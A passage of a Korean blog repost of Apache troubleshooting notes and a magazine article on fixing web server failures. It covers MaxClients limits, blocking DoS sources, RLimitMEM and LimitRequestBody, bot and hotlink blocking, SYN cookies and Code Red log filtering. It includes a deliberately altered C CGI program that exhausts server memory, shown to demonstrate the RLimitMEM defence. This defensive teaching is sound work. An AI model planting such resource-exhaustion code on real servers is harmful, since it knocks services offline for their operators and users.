설정하고  접속량이 아주 많을 경우는 MaxClients 에 가깝게 조절 하자- MaxSpareServers 를 MaxClients 와 같게 설정- MaxClients 는 너무 낮거나 크게 설정하지 않도록 주의*** MaxClient 값 변경소스의 HARD_SERVER_LIMIT=256으로 설정되어 있어 httpd.conf 만 변경하면 안될것이다.256 이상의 동시접속을 허용하고자 할 경우에는 아파치를 재컴파일 해야 한다.# vi src/include/httpd.h	#define HARD_SERVER_LIMIT 256클라이언트가 256 이상의 접속을 넘어서 이루어질 경우에는 다음과 같은 메시지가 로그파일에 남게 되며클라이언트는 다른 요청의 접속이 끝날 때까지 대기하거나 접속이 이루어 질수 없다는 메시지를 보게 된다.	[error] server reached MaxClients setting, consider raising the MaxClients setting########## 접속이 느려지거나 안될 때 ###가끔 접속자가 많은 서버를 운영하다 보면 갑자기 웹 접속이 되지 않거나접속이 너무 느려 데몬 개수를 확인해 보면 httpd 가 256 개나 떠 있는 경우가 있다.기본적으로 아파치의 경우 MaxClients 가 256 으로 설정되어 있어 동시에 256 개의 데몬이 뜨게 되면더이상 접속을 받아들이지 않고, 기존의 프로세스가 죽을 때까지 대기후 접속이 끊기면 받아들이게 된다.따라서 동시 접속이 많은 경우 이전의 접속이 끊길 때까지 대기를 하여야 하므로 접속 속도가 느린 것이다."netstat -na | grep ES"	ESTABLISHED 상태를 확인하여 클라이언트의 IP 가 정상 적인 연결인지 확인"netstat -na | grep ES|awk '{print $5}' | sort"	클라이언트의 IP 만 따로 Sort 하여 확인하HTTP 1.1 규약에서부터 적용 되기 시작한 KeepAlive 기능을 지정하였을 경우 한 클라이언트 IP 에서동시에 3-5 개정도의 http 프로세스를 생성하므로 프로세스 개수의 정상적인 현상일 경우도 감안해보자.### 비정상적인 접속의 경우 ###*** 서비스 거부 공격(DoS) 의 경우동시에 서비스할 수 있는 프로세스의 한계가 있다는 점을 악용한 서비스 거부 공격일 가능성이 있다.이미 한번의 실행으로 100 개나 200 개등 원하는 만큼의 동시 접속을 맺은 후 이 접속을 끊지 않고유지할 수 있는 공격 코드가 인터넷상에 공개되어 있다.이경우 공격지의 IP 를 속이기가 어려우므로 netstat 으로 확인 후 비정상적인 접속 IP 를 차단하자공격지 IP 인 211.40.4.6 으로부터의 라우팅을 차단하는 설정	# route add -host 211.40.4.6 reject	# iptables -A INPUT -s 211.40.4.6 -j DROP실제 적용되었는지 확인: route -n, iptables -L -nTCP SYN Flooding 공격의 경우 SYN 패킷만 대량으로 발송할 뿐 ESTABLISHED 상태가 되지 않는다.*** include 를 잘못하여 무한 루프가 돌 경우php 와 mysql 을 연동하여 많이 사용하고 있는데, 프로그래밍 과정에서의 실수로 php 파일에서 같은php 파일을 include 하는 경우가 있다. 또는 a.php 파일에서 b.php 파일을 include 하고 b.php 파일에서다시 a.php 파일을 include 하는 경우도 그러한 경우일 것이다.이러한 경우에는 무한 루프가 돌게 되어 데몬이 금새 Maxclients 에서 지정한 개수로 차 버리게 되는데어떤 파일에서 무한 루프가 돌고 있는지 찾기가 힘들다.임시로 아래와 같이 include 를 하지 못하도록 차단을 하는 방법이 있다.	서버내에서 include 시에는 루프백 lo를 통해 1024 이후의 port 로 통신한다는 특성을 이용	# iptables .A INPUT -p tcp -i lo -s xxx.xxx.xxx.xxx --sport 1024:65535 -j DROP각각의 http 프로세스가 어떤 파일을 참조하고 있는지 일일이 추적하는 방법도 있다.	"ps aux | grep http" 로 보이는 프로세스에서 "ls -la /proc/pid/"### 정상적인 접속의 경우 ###*** KeepAlive 옵션 변경기본값으로 설정되어 있는 KeepAlive On 을 KeepAlive Off 로 변경 후 아파치를 재시작한다.KeepAlive 는 HTTP 1.1 규약에서부터 적용된 것으로 접속 속도에 큰 영향을 준다.KeepAlive 를 Off 로 설정시 다소 접속 속도는 떨어지지만 좀더많은 동시 접속을 수용 할수 있어서동시 접속자가 많은 경우에는 Off 로 설정하는 것이 임시 적인 해결 방법이 될것이다.*** 아파치의 MaxClients 조절기본적으로는 256 으로 설정되어 있는 MaxClients 의 한계를 512 나 1024 와 같이 적절히 변경한다.이 값을 변경하기 위해서는 아파치의 소스를 수정 후 다시 컴파일 해야한다	src/include/httpd.h 파일에서 HARD_SERVER_LIMIT 값을 512 나 1024 로 변경커널 2.2.X 경우 /usr/src/linux/include/linux/tasks.h 에서 NR_TASKS 와 MAX_TASKS_PER_USER 변수를수정후 커널을 재컴파일 해야 하며 2.4.X 의 경우 커널 제한이 없어져 아파치만 재컴파일 하면 된다.*** 추가 아파치 데몬 설정만약 여러 도메인중 특정 도메인이나 어떠한 사이트내 특정 컨텐츠의 접속이 특별히 많아같은 서버에 있는다른 사이트에까지 피해를 주고 있다면 이 부분을 별도로 데몬을 띄워 서비스하는 방법도 있다.이를테면 한 사이트에서 게시판의 접속이 매우 많다면 기존의 80 번 포트외에 8080 과 같은 임의의 포트로작동하는 웹 데몬을 추가로 띄워 이 포트를 통해 접속이 많은 서비스를 담당하게 하는 것이다.이를 위해서는 기존의 httpd.conf 파일을 httpd8080.conf 와 같이 설정 파일을 복사 후httpd8080.conf 파일을 변경하면 된다. (port 8080, User www2, Group www2)그리고 /usr/local/apache/bin/httpd -f /usr/local/apache/conf/httpd8080.conf 와 같이 실행하면8080 포트로 작동하는 웹서버 데몬을 추가로 띄우게 되는 것이다.이때 www 라는 계정은 생성되어 있어야 하며 Nobody 가 아닌 www 라는 계정으로 데몬을 작동하는 이유는한 유저(nobody) 가 생성할 수 있는 프로세스의 한계가 있기 때문이다. (커널 2.4.X는 제한이 없다)*** RLimitMEM - 메모리를 무한정 소모하는 것을 차단아파치의 설정 인자 (Directive) 중에서 RLimitMEM 을 사용하여 차단할 수 있다.이 인자는 아파치 웹 서버에서 생성된 특정 프로세스가 작동시 소요 가능한 최대 메모리의 양을제한하는 것으로 메모리를 많이 소모하는 CGI 가 작동할 때 이 인자에서 지정된 메모리까지만실행이 되고 그 이상 소요시에는 더 이상 작동하지 않도록 해 준다.	RLimitMEM 20480000 21504000	<Directory /home/special/public_html/*>		RLimitMEM 51200000 52224000	</Directory>위와 같이 설정하였다면 모든 디렉토리에서는 메모리를 20 메가나 최대 21 메가까지만 사용이 가능하고/home/special/public_html/* 디렉토리 이하에 접근시에는 특별히 50 메가까지 메모리 이용이 가능하게 된다.이와 비슷한 인자로 CPU 점유율을 제한하는 RLimitCPU 와 사용자당 프로세스의 개수를 제한할 수 있는RLimitNPROC 이 있으며 이에 대해서는 http://httpd.apache.org/docs-2.0/mod/core.html 를 참고하기 바란다.########## tips ###*** restart 가 되지 않을때# ./apachectl start	./apachectl start: httpd started# ./apachectl restart	./apachectl restart: httpd not running, trying to start	./apachectl restart: httpd started# ./apachectl stop	./apachectl stop: httpd (pid ?) not runningapachectl 파일을 열어서 경로를 확인하자	PIDFILE=	HTTPD=httpd.conf 파일을 열어서 PidFile 지시자 설정값이 PIDFILE 과 설로 같은지 확인. (서로 같아야 함)*** 웹브라우져에서 언어가 깨져서 나온다- 웹브라우져 보기에서 인코딩을 강제로 일본어를 (shift_jis) 잡으면 나온다- meta 정보의 charset은 제대로 설정되어 있는가 (예: 일본어라면 "shift_JIS" 로)- 리눅스가 다국어지원이 안되는지 확인 (/usr/share/i18n/locale, charmaps)- httpd.conf 에서 "AddDefaultCharset Off" 확인meta 정보를 웹브라우져에서 수용하로록 해준다AddDefaultCharset EUC-KR 등의 언어셋이 강제 지정되어 있는지 확인하자참고: /etc/sysconfig/i18n 정보	#LANG="ko_KR.eucKR"	LANG="en_US"	#SUPPORTED="en_US.UTF-8:en_US:en:ko_KR.eucKR:ko_KR:ko"	UPPORTED="en_US.iso885915:en_US:en:ko_KR.eucKR:ko_KR:ko"	SYSFONT="lat0-sun16"	#SYSFONTACM="iso01"*** logresolve	logresolve [-s filename] [-c] < access_log > new_logHostNameLookups 가 1.3.X 대에서는 기본으로 Off 로 설정되어져 있어 로그 파일에는 도메인 네임 대신IP 로 로그가 남게 된다. 아파치 웹 서버의 성능을 위하여 이 기능은 Off로 설정하는 것이 바람직 하며로그분석시에는 logresolve 를 통하여 로그파일 안의 IP를 도메인으로 변경할 수 있다.*** 이미지 / 파일 무단링크 막기# vi .htaccess	SetEnvIf Referer "suldo\.com" link_allow		링크가능 주소를 추가하려면 주소를 바꾸어서 추가하면 된다.	Order Deny,Allow	Deny from all	Allow from env=link_allow.htaccess 화일을 이미지 폴더나 파일이 들어가 있는 폴더에 넣어주면 그폴더및 하위폴더의이미지나 파일을 무단링크 할수가 없다. 지정해놓은 사이트에서만 링크가 가능하다..(닷) 앞에는 \ 를 꼭 사용해야 한다.
    태그 EDIT
    덧글 쓰기 | 엮인글 쓰기 이 포스트를.. | 수정 | 삭제
    아파치 웹서버 장애 대처 | 낙서장 포스트 삭제 2006/08/17 21:20
    http://blog.naver.com/comefeelone/120027839581

    아파치 웹 서버 장애 해결하기


    글·홍석범 오늘과내일 넷센터 (antihong@tt.co.kr)

    시스템 관리자는 시스템에 대해 보수적이어야 한다는 말이 있다. “보수적”이라는 말은 특정한 정치적 성향을 뜻하는 것이 아니라 시스템에 대해 단 1%라도 문제가 될 수 있는 여지를 제거하고, 각 유저에게는 불편함을 주지 않는 한
    도 내에서 가급적 사용 권한을 제한하여 혹시나 있을지 모를 시스템의 침해나 크래킹 등에 대비해야 한다는 것을 뜻한다. 아울러 시스템 관리자는 새로운 룰을 적용 또는 변경하거나 프로그램을 새로이 도입할 때에도 이 프로그램으로 인하여 다른 문제가 발생할 수 있는 여지는 없는지 여부를 신중히 검토 후 도입해야 한다.
    이번 호에서는 아파치 웹 서버를 운영시 접할 수 있는 여러 가지 장애와 이에 따르는 원인과 해결 방법을 찾아보도록 하겠다.

    * 접속이 느려지거나 접속이 안 될 때
    가끔 접속자가 많은 서버를 운영하다 보면 갑자기 웹 접속이 되지 않거나 접속이 너무 느려 아파치 데몬 개수를 확인해 보면 httpd가 256개나 떠 있는 경우가 있다. 기본적으로 아파치 웹 서버의 경우 Max Clients가 256으로 설정되어
    있어 동시에 256개의 데몬이 뜨게 되면 더 이상의 접속을 받아들이지 않고, 기존의 프로세스가 죽을 때까지 대기한 후 접속이 끊기게 되면 그제서야 접속을 받아들이게 된다.
    따라서 동시 접속이 많은 경우에는 이전의 웹 접속이 끊길 때까지 대기해야 하므로 접속 속도가 느린 것처럼 느끼게 되는 것이다. 일반적으로 정상적인 접속의 경우에 256개의 프로세스가 모두 뜨는 경우는 그리 많지 않기에 현재의 상태가 비정상적인 접속인지 여부를 판단해야 한다. 이를 판단할 수 있는 방법은 netstat ?na | grep ES로 ESTA BLISHED된 연결 상태를 확인하여 클라이언트의 IP가 정상적인 연결인지 여부를 확인하면 된다.
    또는 netstat -na|grep ES|awk '{print $5}'|sort로 클라이언트의 IP만 따로 소트하여 확인해 봐도 된다. 통상적으로 HTTP 1.1 규약에서부터 적용되기 시작한 KeepAlive 기능을 지정하였을 경우 한 클라이언트 IP에서 동시에 3~5개 정
    도의 http 프로세스를 생성하므로 한 IP에서 3~5개 정도의 프로세스를 생성하는 것은 정상적인 현상이다. 비정상적인 접속의 경우에는 다음과 같은 이유가 있을 수 있다.

    * 서비스 거부 공격(DoS)이 가해졌을 때
    DoS는 동시에 서비스할 수 있는 프로세스의 한계가 있다는 점을 악용한 공격이다. 한번의 실행으로 100개나 200개 등 원하는 만큼의 동시 접속을 맺은 후 이 접속을 끊지 않고 유지할 수 있는 공격 코드가 인터넷 상에 공개되어 있
    다. 그러나 이러한 공격의 경우 공격지의 IP를 속이기가 매우 어려우므로 netstat으로 확인 후 비정상적인 접속으로 확인 될 경우 해당 IP를 차단하면 된다.
    특정 IP의 라우팅을 차단하는 방법은 다음과 같이 route를 이용한 방법과 iptables(커널 2.4 이상)를 이용한 방법 두 가지가 있다.

    * include를 잘못하여 무한 루프가 돌 경우
    요즘에는 php와 mysql을 연동하여 많이 사용하고 있는데, 프로그래밍 과정에서의 실수로 php 파일에서 같은 php 파일을 include하는 경우가 있다. 또는 a.php 파일에서 b.php 파일을 include하고 b.php 파일에서 다시 a.php 파일을
    include하는 경우도 그러한 경우일 것이다. 이러한 경우에는 무한 루프가 돌게 되어 결국은 아파치 데몬이 금새 Maxclients에서 지정한 개수로 차 버리게 되는데, 어떤 파일에서 무한 루프가 돌고 있는지 찾기가 힘들다.
    따라서 임시로 다음과 같이 include를 하지 못하도록 차단을 하는 방법이 있다.

    # iptables -A INPUT -p tcp -i lo -s xxx.xxx.xxx.xxx --sport
    1024:65535 -j DROP
    이는 같이 서버 내에서 include 시에는 lo(Lookback Interface)를 통해 sport 가 1024 이후의 하이 포트를 이용하여 통신한다는 특성을 이용한 것이다. 그러나 이 설정을 하였을 경우 로컬 서버에서 클라이언트 포트를 전혀 사용할 수
    없게 되므로 다른 서비스에도 장애가 되기 때문에 임시로만 사용하기 바란다.
    또는 ps aux | grep http로 보이는 프로세스에서 ls -la/proc /pid/로 각각의 http 프로세스가 어떤 파일을 참조하고 있는지 일일이 추적하는 방법도 있다.
    (예:cwd -> /home/user1/public_html/infinite_loop/)

    * 프로세스가 과도한 메모리를 사용할 경우
    특별히 이상한 프로세스는 없는데, 시스템의 부하가 갑자기 올라가는 경우가 있다. 심할 경우에는 콘솔에서 키 작동이 되지 않아 제어 자체가 불가능한 경우도 있는데, 이러한 경우는 어쩔 수 없이 시스템을 재시작하는 수밖에 없다.
    이는 의도적이든 아니든 유저가 cgi나 php 등의 프로그램을 잘못 짜서 과도한 메모리를 소모하는 프로세스를 실행하기 때문인 경우인데, 실제로 시스템의 메모리를 많이 소모하는 프로그램을 짜는 것은 단 몇 줄의 코드로도 가능하다.
    다음과 같이 메모리를 소모하는 간단한 C 코드를 작성해 보자(참고로 스크립트 키드의 악용을 막기위해 코드 중 일부를 변경하였다).

    /* memory.c */

    #include <unistd.h>
    #include <stdlib.h>

    void html_content(void);

    int main() {
    char *some_memory;
    int size_to_allocate = ONE_K;
    int megs_obtained = 0;
    int ks_obtained = 0;

    html_content();
    printf("Program Executed !!!<p>");

    while (1) {
    for (ks_obtained = 0; ks_obtained < 1024; ks_obtained++) {
    some_memory = (char *)malloc(size_to_allocate);
    if (some_memory == NULL) exit(EXIT_FAILURE);
    sprintf(some_memory, "Hello World");
    }
    printf("Now allocated %d Megabytes<br>\n", megs_obtained);
    }
    exit(0);
    }

    void html_content(void)
    {
    printf("Content-type: text/html\n\n");
    }
    작성 후 gcc -o memory.cgi memory.c로 컴파일 한 후 이 파일을 http://domain.com/memory.cgi와 같이 웹에서 실행해 보도록 하자. 아무리 메모리와 CPU의 여유가 있는 시스템이라 하더라도 이 프로그램을 실행하자마자 거의 통제 불능 상태로 되어 결국 시스템 재부팅하게 될 것이다. 이렇듯이 메모리를 무한정 소모하는 것을 차단하기 위해서는 아파치의 설정 인자 (Directive) 중에서 RLimitMEM을 사용하여 차단할 수 있다. 이 인자는 아파치 웹 서버에서 생성된 특정 프로세스가 작동시 소요 가능한 최대 메모리의 양을 제한하는 것으로 메모리를 많이 소모하는 CGI가 작동할 때 이 인자에서 지정된 메모리까지만 실행이 되고 그 이상 소요시에는 더 이상 작동하지 않도록 해 준다.
    예를 들어 httpd.conf에 다음과 같이 설정하였다면 모든 디렉토리에서는 메모리를 20MB나 최대 21MB까지만 사용이 가능하고 /home /special/public_html/* 디렉토리 이하에 접근 시에는 특별히 50MB까지 메모리 이용이 가능하게 된다.

    RLimitMEM 20480000 21504000

    <Directory /home/special/public_html/*>
    RLimitMEM 51200000 52224000
    </Directory>

    실제로 위와 같이 설정 후 memory.cgi를 웹에서 호출하면 아래와 같이 일정량의 메모리만 사용되고 중단하는 것을 확인할 수 있다.
    이와 비슷한 인자로 CPU 점유율을 제한하는 RLimitCPU와 사용자당 프로세스의 개수를 제한할 수 있는 LimitNPROC이 있다. 이에 대해서는 http://httpd.apache.org/docs-2.0/mod/core.html를 참고하기 바란다.
    용량 큰 파일의 업/다운로드시 부하가 유발될 경우 누구나 업/다운로드가 가능한 자료실을 운영하고 있을 경우 사이즈가 너무 큰 파일을 업/다운로드 할 경우 부하가 많이 걸리게 되어 결국 시스템의 성능 저하를 유발하게 된다. 최근 배포되는 게시판/자료실 프로그램에서는 대부분 업로드할 수 있는 용량 등을 제한할 수 있는 기능이 있지만 그렇지 않은 프로그램도 상당수 있어 웹 서버 차원에서 이 제한을 적절히 설정할 필요가 있다.
    아파치에서는 이와 관련하여 웹 서버에서 업/다운로드 할 수 있는 파일의 사이즈를 제한하는 Limit RequestBody 기능을 이용할 수 있다.
    LimitRequestBody는 클라이언트가 요청시 http 프로토콜을 통해 서버가 제공 할 수 있는 메시지의 크기를 바이트 단위로 정의하는 것으로 무한대를 의미하는 0부터 2,147,483,647(2Giga)까지 설정 가능하며 이 설정으로 대용량의 파일을 업/다운로드 하는 형태의 서비스 거부 공격을 차단할 수 있다. 이를 설정하는 방법은 httpd.conf를 열어 다음과 같은 라인을 추가하면 된다.

    <Directory />
    LimitRequestBody 7168000
    </Directory>
    <Directory /home/special/>
    LimitRequestBody 10240000
    </Directory>

    위와 같이 LimitRequestBody 인자를 설정하면 아파치 웹 서버를 이용하여 업/다운로드 하는 모든 파일의 사이즈를 7MB로 제한하고 /home/special/ 이하에 대해서는 10MB로 제한하게 된다. 위와 같이 설정시 지정된 사이즈를 초과하는 파일을 업/다운로드 시에는 다음 그림과 같은 에러 메시지가 뜨며 업/다운로드가 되지 않는다.
    특정한 이름의 파일을 실행을 제한하려면 최근에는 대부분의 사이트들이 대화방(채팅)을 위해 자바로 프로그래밍된 자바 대화방을 사용하는 추세이지만 얼마 전까지만 하더라도 C나 펄로 된 CGI 대화방을 설치하여 사용하는 것이 유행이었다. 그런데 이 대화방의 경우 대화방에 참여하는 유저 중 한 명이 글을 입력할 경우 모든 유저에게 이 내용이 실시간으로 나타나야 하는 특성상 시스템의 메모리를 매우 많이 소모하는 대표적인 프로그램 중 하나였다.
    따라서 채팅 CGI 프로그램을 원천적으로 사용할 수 없도록 하는 방법을 고민하게 되었는데, 해결 방법은 대부분의 채팅 프로그램이 xxxchat.cgi 또는 chatxxx.cgi라는 파일을 실행 파일 이름으로 한다는 특징을 이용하면 된다.
    즉, httpd.conf를 열어 다음과 같이 설정하면 파일명에 ‘chat’이라는 단어가 포함된 CGI 파일은 작동하지 않게 되는 것이다.

    <Files "*chat*.cgi">
    Order allow,deny
    Deny from all
    </Files>
    이러한 방식으로 특정한 파일에 대해 웹에서의 접근을 차단할 수 있다. 따라서 CGI 파일에 아무리 소유권과 실행 권한을 주었다 하더라도 웹 서버 자체에서 접근을 거부하였으므로 웹에서 접근하면 ‘Forbidden’에러가 나게 된다.
    이러한 식으로 특정 파일 이름을 가진 파일의 실행이나 접근을 차단할 수 있다.

    * 검색 로봇의 접근 차단하기
    갑자기 특정한 IP 주소에서 짧은 시간에 많은 접속을 하여 시스템의 부하가 올라가 웹 접속 로그를 살펴보니 다음과 같이 이해할 수 없는 내용이 남는 경우가 있다.

    211.51.63.4 - - [26/Sep/2001:22:19:42 +0900] "GET /robots.txt HTTP/1.0"
    404 285
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /index.asp HTTP/1.0"
    404 284
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /index.php HTTP/1.0"
    404 284
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /index.php3 HTTP/1.0"
    404 285
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /default.htm HTTP/1.0"
    404 286
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /default.html
    HTTP/1.0" 404 287
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /default.asp HTTP/1.0"
    404 286
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /default.php HTTP/1.0"
    404 286
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /default.php3
    HTTP/1.0" 404 287
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /main.htm HTTP/1.0"
    404 283
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /main.html HTTP/1.0"
    404 284
    211.51.63.4 - - [26/Sep/2001:22:19:43 +0900] "GET /main.asp HTTP/1.0"
    404 283
    211.51.63.4 - - [26/Sep/2001:22:19:44 +0900] "GET /main.php HTTP/1.0"
    404 283
    211.51.63.4 - - [26/Sep/2001:22:19:44 +0900] "GET /main.php3 HTTP/1.0"
    404 284

    무작위로 index.php, index.asp, index.php3, default.html, default.asp 등의 파일을 순서대로 요청하는 것으로 보아 검색 엔진일 가능성이 높다고 가정
    할 수 있다. 특히 robots.txt 파일을 요청하는 것으로 검색 엔진이라고 장담 할 수 있을 것이다.
    httpd.conf에서 Logformat를 common 대신 {User-agent} 변수를 추가하여 정의 하면 서버에 접근하는 에이전트 정보도 알 수 있는데, UA(User Agent)는 일반적인 웹브라우저 뿐만 아니라 검색 로봇이나 방랑 로봇 등 웹 서버에 접속하여 웹페이지를 가져오거나 해석하는 모든 종류의 프로그램을 뜻한다.
    이는 흔히 사용하는 익스플로러나 넷스케이프 등의 브라우저 외에도 라이코스의 스파이더(spider)나 알타비스타의 스쿠터(Scooter)와 같은 검색 로봇과 텔리포트(Teleport)나 WebZIP, GetRight 등 오프라인 브라우저 모두 UA의 범위에 속한다. 검색 로봇이 어떤 사이트를 방문하여 문서를 인덱싱하거나 오프라인 브라우저가 페이지를 한꺼번에 요청하여 긁어 가는 것은 일반 사용자가 웹 브라우저로 서버에 접속하여 원하는 페이지를 보는 일반적인 경우와 그 성격이 다르다. 여러 페이지를 동시에 요청하는 정도를 벗어나 아예 한 웹사이트의 모든 페이지를 짧은 시간에 통째로 긁어가기도 하기 때문에 이러한 경우에는 서버에 매우 많은 프로세스를 생성하면서 웹 서버의 로드가 크게 올라가게 되는 것이다. 특히 DB와 연동하는 사이트의 경우에는 심할 경우 정상적인 서비스를 하지 못 할 정도이다.
    모든 사이트가 검색 엔진에 등록될 필요는 없거나 또는 허용된 일부 유저만 접근이 가능한 페이지의 경우 로봇의 접근을 차단할 필요가 있으므로 이러한 경우에는 다음과 같이 설정된 robots.txt 파일을 웹 서버의 최상위 / 디렉토리
    에 두면 모든 검색 로봇이 /secure 디렉토리를 인덱싱하지 않는다.

    User-agent: *
    Disallow: /secure

    “User-agent: *”는 모든 로봇를 대상으로 한다는 것을 뜻하며 예를 들어 알타비스타 스쿠터 등 특정한 UA에 대해서만 설정하고 싶다면 다음과 같이 하면 된다.

    User-agent: scooter

    검색 로봇과 관련된 더 자세한 정보를 얻기 원한다면 다음의 사이트를 참고하기 바란다.

    http://info.webcrawler.com/mak/projects/robots/robots.html
    http://info.webcrawler.com/mak/projects/robots/norobots.html

    아울러 웹 서버에서 특정한 유저 에이전트의 접근을 차단하려면 httpd.conf에 다음과 같이 BrowserMatch를 사용하여 설정해도 된다.

    BrowserMatch "WebZIP" go_out
    BrowserMatch "Teleport" go_out
    BrowserMatch "GetRight" go_out
    BrowserMatch "WebCopier" go_out
    BrowserMatch "NetZip Downloader 1.0" go_out
    BrowserMatch "NetZip-Downloader/1.0.62" go_out
    BrowserMatch "Teleport Pro/1.29" go_out
    BrowserMatch "Teleport Pro/1.24" go_out
    BrowserMatch "Teleport Pro/1.26" go_out
    <Directory /home/no-ua/>
    Options Includes ExecCGI
    AllowOverride None
    Order allow,deny
    Allow from all
    Deny from env=go_out
    </Directory>

    위와 같이 설정 시에는 /home/no-ua/ 디렉토리 이하에 대해서는 go_out이라는 변수에 지정한 WebZip이나 Teleport 등 UA 프로그램의 접근을 차단하게 된다.
    다른 UA도 차단하고 싶으면 위와 같이 웹 서버의 로그를 살펴보아 에이전트 정보에 남는 UA를 go_out으로 추가해 주면 된다. 같은 방식으로 만약 특정 디렉토리 이하에 대해서 MSIE 브라우저로 접근하지 못하도록 설정하려면 다음과 같이 BrowserMacth를 이용한다. 이렇게 하면 에이전트 정보에 MSIE라 설정되는 UA는 차단될 것이다.

    BrowserMatch "MSIE" msie
    <Directory />
    Options Includes ExecCGI
    AllowOverride None
    Order allow,deny
    Allow from all
    Deny from env=msie
    </Directory>
    최근에는 각종 로봇이 버전을 새롭게 하며 계속적으로 나오고 있으므로 지속적으로 로그를 살펴보아 접근 통제를 하고자 하는 UA를 설정하는 것이 좋다.

    * 외부의 데이터 무단 링크로 인한 부하 없애기
    최근에 와레즈 사이트를 통해 게임이나 오락, 동영상 등 각종 데이터들이 공유되면서 와레즈 사이트에서 관련 없는 임의의 서버에 데이터를 업로드한 후 무단 링크하여 서비스하는 경우가 많다. 이러한 경우 데이터 전송량이 갑자기 늘어 서버의 부하가 급격히 올라감은 물론 한정된 회선의 대역폭도 소모하게 되어 서버를 관리하는 관리자들에게는 이러한 무단링크가 큰 골치 거리 중에 하나다.
    대부분의 무단 링크가 대용량이기 때문에 이를 차단하기 위해 위와 같이 LimitRequestBody를 이용하여 임의의 용량 이상의 데이터에 대한 업/다운로드 용량을 제한하는 방법도 있지만 다음과 같이 BrowserMatch 대신 SetEnvIFNoCase Referer를 이용하는 방법도 있다.

    SetEnvIFNoCase Referer "warez" link_deny
    SetEnvIFNoCase Referer "free" link_deny
    SetEnvIFNoCase Referer "home" link_deny

    <FilesMatch "\.(avi|mpe?g|zip|asf|exe)$">
    Order allow,deny
    allow from all
    deny from env=link_deny
    </FilesMatch>

    위와 같이 설정 시에는 Referer이 warez 또는 free나 home이 포함되었을 경우 이 사이트를 link_deny라는 변수에 할당하고, 환경변수가 link_deny일 때는 확장자가 avi나 mprg, zip, asf 등인 파일에 대한 엑세스를 제한하고 있다. 따라
    서 홈페이지 주소에 warez나 free 또는 home이 포함된 주소에서 위의 데이터를 무단 링크하였을 경우에는 이를 차단할 수 있다. Nocase를 추가로 설정하였을 경우에는 대소문자를 가리지 않아 링크하는 사이트가 대소문자에 관계없이 http://my.warez.org/, http://My.Warez.Org/, http://MY. WAREZ.ORG/ 모두 적용된다.
    다른 확장자를 추가하고나 설정을 변경하고자 할 경우에는 정규식(Regurar Expression)을 이용하여 설정하면 된다. 또는 이와는 반대로 아예 httpd.conf 에서 다음과 같이 설정할 수도 있다.

    <VirtualHost tt.co.kr>
    ServerAdmin webmaster@tt.co.kr
    DocumentRoot /home/tt/public_html
    ServerName tt.co.kr
    ServerAlias www.tt.co.kr
    SetEnvIf Referer tt\.co\.kr link_allow
    SetEnvIf Referer www\.tt\.co\.kr link_allow
    SetEnvIf Referer ^$ link_allow
    <FilesMatch ".(mpg|asf|wmv)$")
    Order Deny,Allow
    Allow from env=link_allow
    Deny from all
    </FilesMatch>
    </VirtualHost>

    위와 같이 설정하였을 경우 외부에서는 mpg, asf, wmv 확장자를 갖는 파일에 대해서는 일체의 무단 자료 링크가 불가능하게 되며 오직 link_allow에서 지정한 도메인에서만 링크가 가능하게 된다. 위와 같이 설정 후 외부에서 무단 링
    크를 하였을 때 error_log를 살펴보면 다음과 같이 무단으로 링크한 자료의 다운로드가 작동하지 않는 것을 확인할 수 있다.

    [Tue Sep 4 15:55:44 2001] [error] [client 211.230.82.78]
    client denied by server configuration: /home/tt/public_html/data/3-2.wmv

    아파치 데몬은 떠 있는데, 접속이 되지 않는 경우
    분명 데몬은 정상적으로 떠 있고 MaxClients에 도달하지도 않았는데, 실제로 접속이 되지 않는 경우가 있다. 이러한 경우라면 웹 서버가 TCP SYN Flooding 공격을 받고 있을 가능성이 있다. netstat -na | grep SYN으로 확인하여 많은 SYN_RECEIVED 프로세스가 보인다면 이 공격 때문이며 이러한 경우에는 첫 번째 줄의 명령을 사용하거나 두 번째 줄의 syncookies 기능을 enable하면 된다.

    # sysctl ?w net.ipv4.tcp_syncookies=1
    # echo 1 > /proc/sys/net/ipv4/tcp_syncookies

    Syncookie 기능은 일단 커널에서 지원되어야 하므로 이 설정이 적용되지 않으면 커널에서의 설정여부를 확인해 보아야 한다. 이 공격에 대한 보다 자세한 내용은 본지 7월호에 실린 “TCP SYN Flooding 공격의 원인과 해결책”을 참고 하기 바란다.

    코드레드나 님다(Nimda) 등 웜 공격으로 로그 파일의 크기가 커질 때 최근에 코드레드와 님다 등 윈도우 NT/2000 기반의 IIS를 공격하는 무차별적인 웜 공격으로 인하여 부하가 유발되고 로그 파일이 불필요한 데이터로 채워지는 경우가 있다. 로그 파일의 크기가 커지는 것은 감안하더라도 당장 계속적으로 커지는 로그 파일 때문에 서버에 부하를 유발하는 것이 더욱 큰 문제다.
    서버에서 로그를 남기는 방식은 매번 클라이언트의 요청이 있을 때마다 웹 서버에서 패킷 헤더에 있는 클라이언트의 정보를 받아낸 후 로그 파일을 열도록 한 후 로그 파일을 읽어 파일의 제일 끝으로 이동하여 로그 정보를 추가한 후 파일을 닫는 것인데, 불필요한 요청이 있을 때마다 이 작업을 계속하여야 하므로 서버에 부하를 유발함은 당연한 현상이다.
    따라서 아예 로그를 남기지 않도록 하거나 로그를 남긴다 하더라도 불필요한 정보를 남기지 않도록 하는 것이 미소하게나마 서버의 성능을 높이는 것이 될 것이다. 그럼 실제로 불필요한 정보는 아예 로그를 남기지 않는 방법에 대해
    알아보도록 하자. 이를테면 코드레드의 경우 다음과 같이 무차별적인 로그가 남게 된다.

    2001/08/01 23:39:50.765446 152.158.99.4:58781 -> 211.233.38.193:80 [AP]
    GET/default.ida?
    NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
    NNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
    이러한 로그를 막기 위해서는 httpd.conf 파일을 열어 Custom Log 윗줄에
    SetEnvIf Request_URI “/default.ida$” cord-red와 같이 정의한 후
    CustomLog/usr/local/apache/logs /access.log combined라고 설정되어 있는 부 분을
